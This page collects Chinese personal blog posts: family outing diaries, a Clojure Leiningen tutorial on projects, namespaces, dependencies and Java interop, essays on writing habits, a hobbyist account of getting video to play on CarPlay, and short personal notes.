二宝知道投篮和我比没有胜算,改成踢足球,球门是两头篮球架子旁边的的木头长凳下面的孔洞,他胜利的时候就高兴和我满场跑,后来落后了几分,就开始伤心了,不玩了,哈哈,然后我假装离开了我的球门,他过去一阵子刷分,26比6分了,我落后了。我和二宝商量,投篮他进球一个,相当于20分,我投篮进了相当于10分,二宝想着刚才折腾半天才领先20分,现在投篮 进一个就是20分,就同意了。结果我拿着球跑到他的那个篮筐,不到20秒就近了三个球。比分反超,二宝大呼上当。哈哈,又不玩了。拿着球跑到其他篮筐开始端尿盆式投篮,我远远看着,发现他进球后还是掩盖不住高兴,他自己投进了三球后,又高兴的回来和我讲,我说你又反超了。哈哈。

后面,我两也不比了,我让他给我传球,如果我进了他就是助攻,开始我进球概率高,他还挺高兴,不停的给我传球,后来我练习三分,进球概率变低,二宝说他得分就是靠捡球,我和大宝投篮,他捡球得分,我们是靠投篮得分,他发现捡球得分容易些。哈哈,带了一瓶水,都被二宝给喝完了,他两又要去 玩玩秋千.我去看网球场,中午估计晒,没有人。

前段时间,晚上就冷了,得盖两层薄被子了。如果不暖和,早上起来浑身有点酸疼的感觉,和感冒那种还有点不同。

Coffee Break Clojure, Vol.5

2026年10月3日 18:50

在 第一篇 我们安装了 Leiningen,当时只是用它启动了 REPL 和 nREPL 服务器,现在我们要用它来干点重活儿了。顺带一提,Leiningen 的名字取自短篇故事《 莱宁根大战蚂蚁 》,故事情节…… 就是一个叫莱宁根的男人大战蚂蚁。

创建项目

在终端输入 lein new -h 命令查看帮助,可以看到这些模板:

Subtasks available:
template A meta-template for 'lein new' templates.
plugin A leiningen plugin project template.
default A general project template for libraries.
app An application project template.

模板只是提供了预先配置好的项目描述文件和项目结构,选哪个都不影响开发。简单来说,如果要写个 Clojure 库就用 default,如果要写应用程序就用 app。下文用 app 做示范。

创建一个名叫 antfighter 的应用。

lein new app antfighter
cd antfighter
❯ tree
.
├── CHANGELOG.md
├── doc
│   └── intro.md
├── LICENSE
├── project.clj
├── README.md
├── resources
├── src
│   └── antfighter
│   └── core.clj
└── test
 └── antfighter
 └── core_test.clj

7 directories, 7 files

项目默认生成的 LICENSE 是 Eclipse Public License ,和 Clojure 一样。如果是写着玩儿的应用,可以直接删掉;如果要发布的话,建议考虑更换授权协议。

除了 .md 文档,剩下的目录就和典型的 Java 项目非常像了。

  • src/:源代码,其中每一个目录下的文件都对应一个 Clojure 命名空间
  • test/:测试代码,可以用 lein test 执行里面的测试
  • resources/:代码使用的静态资源,包括 Web 资源,也可以是嵌入到软件里的其他程序,比如编译好的 WebAssembly

说实话,我觉得这是 Clojure 从 Java 那里学来的陋习,不如 Go 的 标准布局 。src/ 目录只能让项目的最外层看起来整洁。除非是包含多个项目的 Monorepo,否则我不觉得 src/ 这类目录有存在的必要。

值得注意的是 project.clj,这是项目描述文件:

(defproject antfighter "0.1.0-SNAPSHOT"
 :description "FIXME: write description"
 :url "https://example.com/FIXME"
 :license {:name "EPL-2.0 OR GPL-2.0-or-later WITH Classpath-exception-2.0"
 :url "https://www.eclipse.org/legal/epl-2.0/"}
 :dependencies [[org.clojure/clojure "1.12.2"]]
 :main ^:skip-aot antfighter.core
 :target-path "target/%s"
 :profiles {:uberjar {:aot :all
 :jvm-opts ["-Dclojure.compiler.direct-linking=true"]}})

defproject 的第一个参数是项目名,第二个参数是版本号,SNAPSHOT 表示快照,正式发布时改成自己习惯的命名就好,比如 Semantic Versioning 。

余下的是可变长度的参数,要求是偶数个且以键值对的形式出现,就是映射的结构。除去 :description、:url 和 :license 这些顾名思义的选项,上述选项的意思分别是:

  • :dependencies:依赖项,应该是包含所有依赖声明的向量。向量的元素通常是长度为 2 的向量,第一个元素是依赖名,第二个元素是版本号。默认都应该加载 org.clojure/clojure 依赖项。
  • :main:项目的入口,即运行项目时应该在哪个命名空间里找 -main 函数。
  • :target-path:和 Java 一样,target 就是编译产物存放的目录。
  • :profiles:可以为不同的运行环境和命令指定选项、参数和依赖项。
    • :uberjar:Uberjar 也叫 Fat Jar。Clojure 和 Java 一样,最终编译为 .jar 文件,而 Uberjar 就是把所有依赖项都打包在内,可以独立运行的 .jar。这个 Profile 是执行 lein uberjar 编译命令时会用到的参数。

更多的选项会在后文提及,也可以查看官方提供的 sample.project.clj 。

命名空间与符号

之前我们简单略过了命名空间(namespace)的概念,可以理解为符号(symbol)的集合,一个命名空间下的符号不能有重合,命名空间可以相互引用对方的符号。

在 Clojure 里,用 ns 进入一个命名空间1。如果你在 REPL 里想要直接访问某个命名空间里的符号,可以输入 (ns project.namespace);在文件开头写 ns,就可以在这个命名空间里定义符号。

ns 的第一个参数是命名空间的名字,与当前文档在 src/ 的子目录对应。比如,如果文件被放在 src/antfighter/core.clj,这个文件的命名空间只能叫 antfighter.core。子目录同理,src/antfighter/http/client.clj 是 antfighter.http.client。Clojure 文件不应该包含 -,而是用 _,但是在命名空间的命名里要变成 -,比如 src/antfighter/meat_proxy.clj 应该是 antfighter.meat-proxy。

以下是我们刚才生成的示例代码中的 core.clj 文件:

(ns antfighter.core
 (:gen-class))

(defn -main
 "I don't do a whole lot ... yet."
 [& args]
 (println "Hello, World!"))

这个文件的 ns 还包含更多的参数,写在 ns 内部的 :gen-class 等价于直接写 gen-class。同理还有 :require 和 :import,之后会谈到。

(ns antfighter.core)
(gen-class)

gen-class 的作用是生成 Java 类(Generate Class)。如果你需要把 Clojure 程序编译成 JVM 字节码(.jar 文件),然后直接在 Java 环境里执行,就需要给主命名空间生成 Java 类。其他命名空间是通过 Clojure 调用的,只有 core.clj 才需要 Java 类。

如果直接用 clj 或 lein 命令行,就自带 Clojure 运行环境,不需要 gen-class。

继续,看刚才一同生成的 core_test.clj,可以注意到 test/ 目录下的文件也对应一个命名空间,test/antfighter/core_test.clj 对应 antfighter.core-test。稍后再来看测试怎么写。

(ns antfighter.core-test
 (:require [clojure.test :refer :all]
 [antfighter.core :refer :all]))

(deftest a-test
 (testing "FIXME, I fail."
 (is (= 0 1))))

此外还有 :require,用于引入另一个命名空间的符号。require 接收可变数量的参数,每个参数都是一个向量:第一个元素是命名空间名,第二元素是 :refer 或 :as,第三个元素根据第二个元素而定。向量也可以只有一个元素。

  • [project.namespace]
    • 可以在当前命名空间使用 project.namespace 中的符号。假设 project.namespace 中有 say 符号,可以用 project.namespace/say 引用。
  • [project.namespace :as pn]
    • 可以在当前命名空间用 pn 作为 project.namespace 的别名。
    • 例如,project.namespace/say 可以写作 pn/say。
  • [project.namespace :refer [symbol]]
    • 可以在当前命名空间中直接使用 project.namespace 中的 symbol,不需要写 / 以及命名空间的名字。
    • 可以在 :refer 之后的向量中填写多个符号名。
    • 可以把 :refer 之后的向量替换成 :all,把命名空间中的所有符号引入当前命名空间。不推荐这种写法,需要注意命名冲突。

其实还有 :use 的写法,等同于 :require [... :refer :all]。:use 也可以加上 :exclude(排除)和 :only(只引入)等参数,但根据 Clojure Style Guide 的 讨论 ,现在已经不推荐使用 :use,全部换成 :require 是最好的。

至于 :import,这是用来引入 Java 库的,这个我们留到之后讲 Clojure 如何与 Java 联动的时候再说。

引入依赖

Clojure 有多种声明依赖的方式,被原生支持的是 deps.edn,写法如下:

{:deps {org.clojure/clojure {:mvn/version "1.10.3"}}
 ;; ...
 }

不过我们在用 Leiningen,所以可以直接在 project.clj 里声明:

(defproject antfighter "0.1.0-SNAPSHOT"
 :dependencies [[org.clojure/clojure "1.12.2"]]
 ;; ...
 )

Leiningen 的写法干净不少。Leiningen 和 deps.edn 都默认用 Maven Central 和 Clojars 作为依赖的来源。Clojars 是个专门用来发布和存放 Clojure 依赖的 Maven 仓库 ,与 Maven 相关的工具兼容。不过我们用的是 Leiningen,不需要考虑太多细节。

假设我们要解析 JSON,需要引入 Cheshire 库2。可以先去这个仓库的 README 里找到依赖字符串 [cheshire "6.2.0"],然后复制到 project.clj 里。也可以直接在 Clojars 上直接搜索依赖。

(defproject antfighter "0.1.0-SNAPSHOT"
 :dependencies [[org.clojure/clojure "1.12.2"]
 [cheshire "6.2.0"]]
 ;; ...
 )

保存之后执行 lein deps 可以下载依赖。用 lein repl 启动 REPL,或者用 lein run 运行程序的时候也会自动下载依赖。如果添加了新的依赖,就要重启 REPL 或者重启应用,否则不会生效。

写个文件测试一下,把 Clojure 数据转换为 JSON 字符串,再把字符串转换为 Clojure 数据试试。

(ns antfighter.cat
 (:require [cheshire.core :refer [generate-string parse-string]]))

(generate-string {:foo "bar" :key "val"}) 
;; => "{\"foo\":\"bar\",\"key\":\"val\"}"

(parse-string "{\"foo\":\"bar\",\"key\":\"val\"}") 
;; => {"foo" "bar", "key" "val"}

好了,现在你已经会导包了,可以说已经跨进 Clojure 生态的大门了。如果想知道某个外部命名空间里有哪些符号,可以阅读对应的文档,或者翻阅源代码。

偷渡 Java 代码

Clojure 毕竟是门 Lisp,用的人相对较少,所以有时候会找不到想要的包。这时就可以从生态更成熟的 Java 那边偷来用。

还记得 Leiningen 也从 Maven Central 拉取依赖吗?Java 的各种 .jar 就放在 Maven Central 上,所以可以直接拿来用。

比方说,我想用 Apache Commons Validator (用于检验数据有效性的库,比如 URL 是否合法),将依赖名和版本号写进 project.clj 即可。格式上,Java 的依赖和 Clojure 的依赖没有什么区别,它们实际上也都只是 .jar 文件而已。

(defproject antfighter "0.1.0-SNAPSHOT"
 :dependencies [[org.clojure/clojure "1.12.2"]
 [cheshire "6.2.0"]
 [commons-validator "1.11.0"]]
 ;; ...
 )

Clojure 的 import 跟 Java 的差不了太多,import 的参数是 Java 的包名加上类名。比方说,刚才的 Apache Commons Validator 可以这么用:

(ns antfighter.spider
 (:import [org.apache.commons.validator.routines UrlValidator]))

(defn valid-http-url? [url]
 (let [schemes (into-array String ["http" "https"])
 validator (UrlValidator. schemes)]
 (.isValid validator url)))

import 和 require 类似,也可以接收多个向量。每个向量的第一个元素是包名,后面的是可变数量的元素,是 Java 类名。上述代码从 org.apache.commons.validator.routines 这个包3里引用了 UrlValidator 类。

顺带一提,Clojure 做的一大改变就是把类和命名空间解耦了。在 Java 中,类既是数据类型,又是命名空间。Clojure 的创造者 Rich Hickey 在演讲《 Simple Made Easy 》中就提到了这一点。Clojure 的命名空间就只是命名空间而已。

除了在 project.clj 里声明的外部 Java 库,也可以直接用 Java 标准库里的类。

(import [java.net URI URL])
;; 上述代码引入了 java.net 的包 
;; 里的 URI 和 URL 类

你可能注意到了,我们引入的是 Java 类,不是 Clojure 符号,处理起来会有点困难。Clojure 提供了点语法。. 是 Clojure 的特殊形式,和 Java 的 . 类似。

import java.util.Date

Date date = new Date()
date.getMonth()

上述 Java 代码相当于:

(import [java.util Date])

(def date (new Date))
(. date getMonth)

上述 Clojure 代码还可以进一步简写:

(import [java.util Date])

(def date (Date.))
(.getMonth (Date.))

new Object 相当于 Object.,这是 Clojure 提供的语法糖。如果要用点语法调用对象的方法,可以在方法名前面加上 .,当成函数来用,函数的第一个参数就是对象本身,像这样:(.method object args...)。

还可以进一步简写:

(.getMonth (java.util.Date.))
;; => 10

如果你熟悉 Java,你应该知道除了必须把类实例化为对象才能调用的方法,还有静态方法。静态方法可以直接在类上调用,不需要创建对象。对于静态方法,只需要把 Java 类当成 Clojure 命名空间,把方法当作命名空间里的函数,也就是用 / 语法。

(java.time.Instant/now)
;; => #object[java.time.Instant 0x1c2b8e81 "2026-10-02T16:26:17.401045Z"]

好了,现在你已经会偷 Java 代码用了。

在 Clojure 中写 Java,本质上是同时使用 Lisp 的语法和 Java 的语义(semantics),类的概念都来自 Java,和 Clojure 格格不入。所以,除非必要不建议大量使用 Java 库,如果要用,也建议把 Java 代码封装在 Clojure 函数里。其实不少 Clojure 库就是通过封装 Java 库开发的,有些 Clojure 库还会专门用 Java 写,这样性能会更好。4

开发依赖和 Leiningen 插件

之前引入的依赖都是代码依赖,会被一起打包到 Uberjar 里。还有一类依赖是开发依赖,比如测试工具、代码格式化工具、Mock 工具、依赖管理工具等等。

还记得 project.clj 里的 :profiles 吗?其实每个 :profiles 都可以声明自己的依赖项。比如说 :test 就针对 lein test,只有在运行测试时才会加载里面声明的依赖。下面的代码引用了 ring-mock,这是用来测试 Ring 项目的 Mock 工具。5

 :profiles {:uberjar {:aot :all}
 :test {:dependencies [[ring/ring-mock "0.6.2"]]}}

上述依赖不写在 :profiles 里也能用,但运行和编译代码时,都会把实际上并没有在生产代码里用到的依赖打包进去,会消耗额外的资源,因此应该分离。

此外还有 Leiningen 插件,插件和代码以及测试代码都没有关系,而是用来辅助开发的,写在 :plugins 设置项里,格式与依赖相同。下面是我常用的一些插件。

 :plugins [[lein-ancient "0.6.15"]
 [lein-ring "0.12.6"]
 [lein-cloverage "1.2.2"] 
 [dev.weavejester/lein-cljfmt "0.16.5"]]
  • lein-ancient :可以运行 lein ancient 命令检查依赖是否有新版本。
  • lein-ring :可以用 lein ring 运行基于 Ring 的 Web 服务,支持热重载,而且不需要在代码里编写运行服务器的逻辑,也不需要 gen-class,只需要编写 Handler。
  • lein-cloverage :用 lein cloverage 运行测试并统计测试覆盖率,支持生成多种格式的报告,可以查看各个命名空间的形式覆盖率(forms coverage)和代码行覆盖率。还可以在生成的 HTML 页面里查看具体哪些语句没有被完全覆盖。
  • lein-cljfmt :用 lein cljfmt 格式化代码。

最后

除了命名空间的概念,Clojure 项目的结构和管理方法与其他软件项目并无太多差异。不过我这里说的「管理」并不是针对人力和时间分配的项目管理,而是指对软件的结构和依赖项的管理。

Clojure 项目比较特殊的是,尽管其他非 Lisp 编程语言可能也有热重载能力,但不像 Lisp 的 REPL 那样灵活。REPL 不只能做到热重载,还允许程序员直接与程序对话,快速上手调试。在项目根目录使用 lein repl 启动 REPL 和 nREPL,项目里所有的命名空间都会被加载,程序员可以在 REPL 里用 ns 在命名空间之间移动,探索软件的内部结构。

既然我们已经掌握了不少 Clojure 的基础知识和项目管理工具,那么是时候来点实操了。下一期我们将会接触到 Ring 及相关的工具,开发简单的 Web 后端。


  1. ns 实际上只是把全局变量 *ns* 设置成了指定的命名空间。 ↩︎

  2. Cheshire 指《爱丽丝梦游仙境》里的「柴郡猫」。cheshire 库用的是 Java 库 Jackson。 ↩︎

  3. 是的,Java 的包名都又臭又长。 ↩︎

  4. 不是说 Java 性能有多好,是因为 Clojure 运行在 Java 之上,自然会有性能损失。 ↩︎

  5. Ring 是 Clojure 的 Web 服务器抽象库;Mock 是指用来测试、演示的假组件,比方说前端需要调用后端 API 进行开发,但后端还没开发完,这时前端就可以用假的 Mock API。 ↩︎

轮滑十二次

作者 ACEVS
2026年10月3日 15:43

中秋节去了滑了一次 看桂花,但是桂花还没有开。
这两天某天,要出去玩玩,但是去哪儿估计人都多,但凡是个景点公园,估计人都不少可能。也可能人不多。

我提议,去滑轮滑,两宝都同意,然后我先去超市取菜,回来后,大宝不愿意去了,只有我和二宝出发,经过 二宝小学门口,闻到一阵子花香,挺腻的,二宝和我讲,这是桂花的味道,他上一二年级的的时候还采摘过,我鼻孔中残余的花香余韵,似乎优点桂花的味道.

到了那个地方,滑着滑着有闻到了桂花的香,看是挺甜腻的,食品中有的会加这个,感觉清香,现在这桂花树花开很多,感觉腻。这个地方的两遍的篮球场,运动设施,一个人都没有的感觉,空荡荡的,平时不放假还有人在这儿耍的,现在放假了可能是中午,一个人都没有.

二宝摔了一跤擦伤膝盖,我让他带上大宝幼儿园时候买的护膝,二宝无聊,非要玩抓抓人游戏,结果,再一次他倒地的时候,我也踉跄倒地,结果我手按着他的胳膊,他胳膊上有一道擦伤,我问二宝手臂还能抬起吗?疼的厉害吗?能抬起,还好骨头没事。二宝还要玩抓抓人游戏,不同意,最后陪他玩了一把比赛上楼梯,我直接被秒杀,感觉二宝是跑上去的,穿着轮滑鞋。

第五年 IV

作者 ONO
2026年10月3日 09:30

连续两天都在节假日来咖啡厅处理工作,我虽然不是个喜欢热闹的人,但这种场合又很适合用来作为灵感收集。不过在上一轮的坚持写作里,我反而非常偏爱那些极其安静的地方——甚至是市图书馆的公共自习室。


1645 | 秩序的守护者

今天的文字是提前在图书馆写的,因为迫于创作的压力,一直都在寻找安静的地方,结果最后最合适的,也是外界的诱惑最少的还是在图书馆这样的空间里面。所以在入座之前,因为观察的习惯,也会看看周围都是些怎样的人——左边是两个正在做着公务员考试里面,我最喜欢的图形逻辑章节的情侣;正前方是一个极为普通的,正在做着不知道什么学科,也不知道什么学级的习题册的女孩;右边是一个从我入座到完成了“昨天”的每日写作之后,他仍然将手机接通电源玩着手游的中年男人(他就是我此前说过的,那一群需要靠着脐带活下去的现代人)。

很明显,在我的描述之中,我对三个方向的人的描写有简有繁,而且也带着浓郁的“个人主观情感”,明明只需要仔细观察,我就能够了解到对面小姑娘正在做的习题是什么(因为上一次写过一个左撇子的故事,也是因为我的正对面坐了一个用左手写字做着语文试题的姑娘),而唯独我观察最仔细的是左手边的情侣和右手边的沉迷于手机游戏的网瘾中年,而偏偏正对面的姑娘我没有观察的兴趣,甚至一点印象都没有——是因为就在不久之前,发生了一个小小的插曲。

因为写作必须要使用电脑,在图书馆自习室如此安静的地方,难免键盘敲击的声音会传播出去,因为自己已经习惯了对电脑的使用,键盘的声音对我而言更像是一种背景播放的“白噪音”,反而能够增加我的写作灵感和写作激情;但是对于另一些人而言,他们并不认为这是能够伴随着他们学习和工作的“背景音乐”,因为没有规律的键盘敲击声,会让那些容易分心的人因为键盘的咔哒的声音而走神,所以我也在极力地克制自己敲击键盘的“噪音”,但是有的时候灵感流淌的时候,就如同瀑布撞击青石一样,难以克制。所以几度观察下来,我座位的三个方向里面,在我对面的女孩反应最为剧烈,起初她是不断地分心,看得出她因为某一件事情在不断地停止思考,接着她显示出了明显的“不耐烦”,为了测试是否是因为自己键盘的声音导致了这一切,我的敲击键盘的声音因为每段文字情感的不同,时快时慢,她不耐烦的情绪也就在这种时快时慢的节奏里面变得舒缓和暴躁(当然我也用这种方式实验了一下,还是应该向她道歉)。

所以我极力地压低着自己的键盘声音,离开座位休息的时候,也特地傻呵呵地跑到图书馆开放自习室的须知下面停驻了好一阵,仔细阅读上面到底有没有说“笔记本电脑禁止携带入内”的警。结果很可惜的是,图书馆的秩序中并没有明确写明不能使用会因为键盘声音影响他人的笔记本电脑,休息完毕之后灵感又回归,所以后续的写作更加的“激情”,戴着耳机的自己也完全忽略了键盘对她造成的影响。最后她愤慨地站了起来,狠狠地盯着我,在收拾自己物件的时候甚至朝我翻了个白眼,不过很可惜,我只是微笑以对,手中并没有停下文字的创作。

这段灵感倒让我想起了前几天提到的“中国式哲学”,我是秩序的守护者,她也是秩序的守护者,但是我的行为并不能够让她觉得开心,所以她以自己作为准则评价了我的行为,认为我是整个图书馆里面破坏规则的人。但事实上,无论是法律还是道德,我们两个人的行为都是合法合规的,都应当受到保护——但是她的个人利益受到了伤害,又因为自己在遵守规则,所以她需要另一种方式能够制裁我——如果她发表微博或者朋友圈,埋怨我这个在图书馆秩序中造成紊乱的行为,我想也是可以理解的,接着她便可以发动同样受到过这种“伤害”的人向我投来道德的标枪。

后面的剧情不需要我再继续说了吧。


我差不多快有十年,再也没有去过那个图书馆自习室,因为后面几乎都是“考研学生”的圣殿,他们甚至已经在里面形成了微妙平衡的占座系统。就像是一个卖小吃的夜市,做生意的人都在里面找到了一块属于自己的位置,我如果作为一个外人进入其中,占了其中一个人的位置,他们就会异常团结地对抗我,因为不对抗我的人,本身也代表了某种立场,而立场的不同,很有可能就会在他的座位被别人占领后,没人再帮他出头。

形成这套微妙的平衡之后,这个空间也容不下外人了。也会因此划分出“考研至上”的立场,其他人都应该为这些“爱学习”的人主动让位。

咖啡厅可没有这套规矩,各凭本事地占领一个属于自己的座位,也没有人会惯着那些“爱学习”的人,甚至摆了一本书、一个笔记本在桌面上占着座位,但是大部分时间都看不到人坐在上面的,还会被工作人员清退。

证明自己“爱学习”这件事,除了向自己证明,大概也就能骗骗自己父母了吧。

就像这个《第五年》的系列,我只能向自己证明这个博客已经运行了第五年,好像它没有任何实际的意义。

好了,五周年的事儿聊完了,继续吧。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

再谈 Carplay 播放视频

作者 obaby
2026年10月2日 21:54

在去年的时候,我曾经研究过如何在苹果的carplay播放视频的问题。之所以研究这个,纯粹也是闲的蛋疼,并不是真的有那么大的需求要在车机上看视频。

至于在车机播放视频,今年早些时候在安卓的车机上测试过是可以播放的,甚至能用方向盘的多功能按键进行切换,在车机上通过zlink连接的华为的hi car,之前的文章可以点击这里查看。

去年研究的时候主要是基于https://github.com/thomasdye12/TDS-Carplay这个开源项目,实现方式也比较简单,调用私有api创建一个车机上的全屏窗口,去年的时候申请apple的communication权限始终没通过,直到前几天终于通过了。

也不知道苹果是什么处理逻辑,有时候真的答非所问,问就是已经有了drive task权限,翻来覆去就是要么说权限已经有了要么就是没反应了,开发者论坛,工单都提过,甚至电话支持也申请过,问就是帮忙反馈,反馈了就没动静了。

这次也不知道是哪路神仙想起来了,竟然顺利通过了。此时又想起来这个项目,重新跑起来:

iOS26 is not supported,这比49年入国军还惨,这依然是50年了,毛都没有了。就离谱,当然,主要原因按照自己的分析以及ai分析给出的结论在于苹果收紧了carplay端的权限管理:

提示信息来源:
Section(header: Text("Getting Started")) {
    Text("IOS 26 IS NOT SUPPORTED")
        .tint(.red)
        .fontWeight(.bold)
    NavigationLink(destination: Help()) {
        Label("Help", systemImage: "questionmark.circle")
TDS实现逻辑:
1.Hook 私有方法,强制创建全屏车机窗口
_shouldCreateCarWindow → 永远 YES
__supportsCarFullScreen → 永远 YES
2.拿到系统的 CPWindow,把 UIImageView / AVPlayer / WKWebView 直接贴上去播画面
3.表面挂一个 CPMapTemplate(地图模板) 当“合法壳”,实际内容是自定义全屏 UI
再绕过 clientPushedIllegalTemplateOfClass:(非法模板检查)

针对iOS26的系统库分析:

当然,更主要可能是来自于这个问题,新的权限判断是通过hasNavigationEntitlement而不是__supportsCarFullScreen,单独这一项就足够让当前这个app彻底崩溃了。

那么,事情到这里,似乎已经是无解了,但是事实真的如此吗?感觉并不是,去苹果应用商店搜索carplay能找到一堆播放视频的东西,下载了两个,一个只能添加网络视频地址,我没有,所以没法测试,另外一个cartv集成了视频播放功能,在车机上竟然成功了:

手机端界面:

播放页面投屏:

屏幕镜像方式:

那么基于这两种方式也就实现了:

1.app直接在车机播放视频

2.通过屏幕镜像录屏流的方式实现屏幕镜像。

不得不说,第一个发现在这个东西的还真特娘的是个天才。

既然知道了原理,那么要实现这个东西也就简单了,之前已经有了communication权限,那么就可以向车机传送数据,能传送数据那么在创建出对应的窗口来应该就可以了。说干就干,直接上手开撸,当然,主要还是靠ai撸,参考项目目前已经没有什么参考意义了,直接起个新的xcode项目开始实现这些功能。

有了思路之后,写代码其实没什么困难,困难的是代码之外的问题该如何解决,投屏镜像完成之后,兴冲冲的跑到车上测试:

纳尼,怎么跟我想象的不一样呢,这是为虾米啊,苍天啊大地啊,怎么可以酱紫呢。

这,只能说,开头很顺利,失败的也很迅速。当然,这个东西的根源要找起来也简单,就是前面提到的hasNavigationEntitlement,也就是mobileprovision里面对应的com.apple.developer.carplay-maps权限,完整权限列表:

<key>com.apple.developer.carplay-communication</key>
<true/>
<key>com.apple.developer.carplay-driving-task</key>
<true/>
<key>com.apple.developer.carplay-maps</key>
<true/>

而申请com.apple.developer.carplay-maps这个权限,要求app必须要有导航功能,并且是 turn-by-turn的导航才可以,需要提供的资料也比较多,包括app截图,规划,语音播报信息等等。

等拿到权限之后就可以创建一个CPMapTemplate至于里面塞什么东西,那就全看自己的意愿了。这也是cartv之类的视频播放实现方式。

简单视频播放,可以通过推送视频流的方式来实现,同样也是cartv的实现方式,最终app实现效果:

车机等待界面:

视频效果:

至于为什么要做这个东西?

那肯定是,因为姐姐我可以做,我能做,我还做出来了!

 

脸上的黄褐斑

作者 ACEVS
2026年10月2日 17:14

脸上感觉突然多了个这个,豆包说是晒太阳 ,紫外线等问题导致的,之前喜欢骑行,也不防晒,有时候还是短袖,导致胳膊拐弯处有个黑斑,冬天感觉会缩小,夏天感觉会长大。不过最近几年骑行少了,感觉那个斑点缩小一些。现在感觉越来越接近皮肤的本来的颜色了。

脸上这个和老年斑一样,我看了手机上的照片发现我手机上没啥老照片最早的估计是24年的。能看到这个斑点,我看wife的手机,他的手机照片保存到2017年。大概2020年的时候我这个斑点还不大,不过也能看到有点起色了。豆包说就是防晒,还有那个祛痘的壬什么酸15%涂抹,不过最好去花100元做个皮肤镜,看看是不是恶性雀斑啥的,也可以直接涂,也可以付费每个月去做光子美服,我只能看看用钱最少得,说实话因为不直播,不发视频,甚至图片都不发,我很少在意自己的形象了。这个国庆节竟然整这个,真是闲的了。哈哈。

之前想着骑行去拉萨,跑个马拉松,现在看来只能捂得严实点,骑摩托车了,不知道以后还会出现什么状况,可能计划继续变化了。马拉松那些折腾腿的都可以放弃了。实力不允许了。嘎嘎。

第五年 III

作者 ONO
2026年10月2日 09:30

现在在写的内容,其实是明天要定时发布的,明明都说了是在放假期间“开天窗”,但由于提前写完的东西早就没有库存了,就不得不手动码字。

之前的每日习作,我都会提前预留很多天内容,以应对临时安排打乱文章排期。但偶尔也会有预留的内容被耗尽的时候,就不得不找到一个安静的地方开始伪装成未来好几天的“心情”,一口气写完好几天的文章,自己才会觉得安心许多。

比如在十年前的“五百日写作计划”里,我常常有预留被耗尽的时候。


1122 | 预留

原本这篇文章是几天前在写作的时候预留给今天的,很可惜的是,到临近发布的时候我都没有完成这篇既定的文章。说来惭愧,最近在处理很多工作上面的事情,结果到头来,工作的事情乱麻不说,写作的事情还被耽误了很多。所以这份挫败感着实让人感觉到烦闷。

说起“预留”这个题目,说说两个发生在自己身上的事情吧。

重庆有很多好吃的小店,反而规矩更多,例如需要提前预定,需要提前沟通好时间和人数,偏偏这些店的态度极其的“刁钻”,除了一副“爱吃不吃”的态度来服务以外,他们常常以“你有没有预约”的方式来展现着自己的店铺的火爆程度。每每遇到这种店的时候,我的情感都矛盾之极——一方面我很希望能够在这样的知名小店吃吃他们传统的食物,但是一方面我又厌烦他们的服务态度。所以每次遇到他们恶狠狠地告诉我“没有预约就自己去排队”的时候,我都会毅然决然地转身离去,留下对方的嘲笑,也留给自己遗憾和自责,总觉得自己是不是做了那种“因为不懂得尊重规矩而让人厌烦”的人。

当我规规矩矩地预约吃饭的时间和人数的时候,每次都会尤其“光荣满面”地进入到人满为患的店铺里面,然后在众人羡慕的眼光之中落座,确实倍有面子——这个时候如果有谁非常不讲理地咒骂“凭什么他们来了就可以吃饭”的时候,更是锦上添花地体现着我的优越感。

这两种不同的身份,让我有了不同的认知,前一种我觉得自己受到了莫名的羞辱,而后一种我认为自己得到了莫名的优越感——后来越想越觉得不对劲,我之所以觉得自己受到了屈辱,是因为我怀着一种奇怪的优越感,这反倒更像是自己给自己的一种莫大的羞辱。

后来我又去过那家店,他们还仍然沿用着假装很多人拨打电话而造成长时间等待的语音模式,让人误以为每天都有很多人在预定他们的食物,结果有一次我采用不预定的方式去了现场,和我想象的一样,寥寥无几的堂吃对比着过去那种尖酸刻薄的服务态度,尤其地让人觉得讽刺,只不过让人没想到的是,当我询问是否有空位的时候,虽然他们不再用“你有预约”的说辞来反问我,但是还是以恶狠狠的态度问着我几个人、吃什么,只不过那一次我扭头就走,丢下一句“怪不得生意越来越差”的评价——虽然我后来自觉这样的行为确实过分,但是我也只能想到这是唯一能够让他们惊醒并认识到自己的办法。再后来,他们取消了电话预约的服务,到堂吃饭不需要再排队,再后来,他们的店面都没有了。

为此我还内疚了一阵,总觉得是不是自己说得太重,变成了一句诅咒。但是越想越是气不过,一个吃饭的小店,竟然让我产生着这么强烈的负罪感,这未尝不是一种莫大的讽刺,再等我重新想起这个故事的时候,这里面矛盾的情感才被我发掘出来,其实这份耻辱正是我自己给自己的,因为当我能够意识到被预留的快感的时候,我才会明白这种快感背后对别人的伤害,也正是因为我这样一个故事两个角色的机会,让我意识到一个不争的事实——

太多时候,我们生气和恼怒的并不是别人,而是一个被我们预留在心中的恶魔,一个充满着邪恶和仇视的自己。


之前常有人私信问过我,我坚持写是因为给自己设定了什么硬性计划吗?

这件事不太好回答,我确实会觉得周一到周五“应该”写点什么,周六休息,周日又因为Newsletter,但又极其讨厌周刊这种东西,所以就想着要不要为了邮件推送,写一些具体方法论的话题。

这算是计划吗?而一旦需要我设定计划的事情,其实我基本上都会遵从“死线高效理论”,越是靠近死线,我的效率反而更高,所以这些计划本身就是我预计了我可以最终拖延到什么时候。

我后来换了个思路,我跟自己“预约”。

比如这两天要看完一本书,为了避免为了看书而看书或是证明自己看过书,我极少会涉及读书笔记,而是把里面的一些理论变形成现实中能够找到与之对应的场景。所以预约了“看完这本书写点什么好了”。

而在咖啡厅码字时,这是一个完全不需要预约的地方,常常就会有被我观察到的细节,成为了灵感本身——这件事我原来是用来回答那些“你为什么能坚持写这么多”的问题——但它完全没有回答问题本身,倒是先留下了一个极其装逼的开放式结局:只要写就能写下去。

但这就是写本身全部的秘诀。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

我的乡愁 II

2026年10月2日 01:27

请读者给我几段文本的时间平复心情,我方才忍受着飘散在房间里的烟味儿,下楼给我三个月前带回家的龟背竹换了水。想到刚回家看到它们的模样,我实在没办法平静下来。

因为没办法带上我养的龟背竹,所以放在家里,回家之后…… 它的叶子黄了,边缘已经要枯了,不知道家里人是用什么水养的它,水是褐黄色的,水已经要溢出水瓶了,我明明已经交代过不能超过根部…… 另一盆也半死不活了,因为之前它长得太好了,我给他换了大点的玻璃瓶,想着他能再抽一根叶,那个瓶子被打碎了,被放进了一个塑料桶里,叶子也黄了。你们他妈的对它们做了什么!

—— 我的联邦宇宙账号

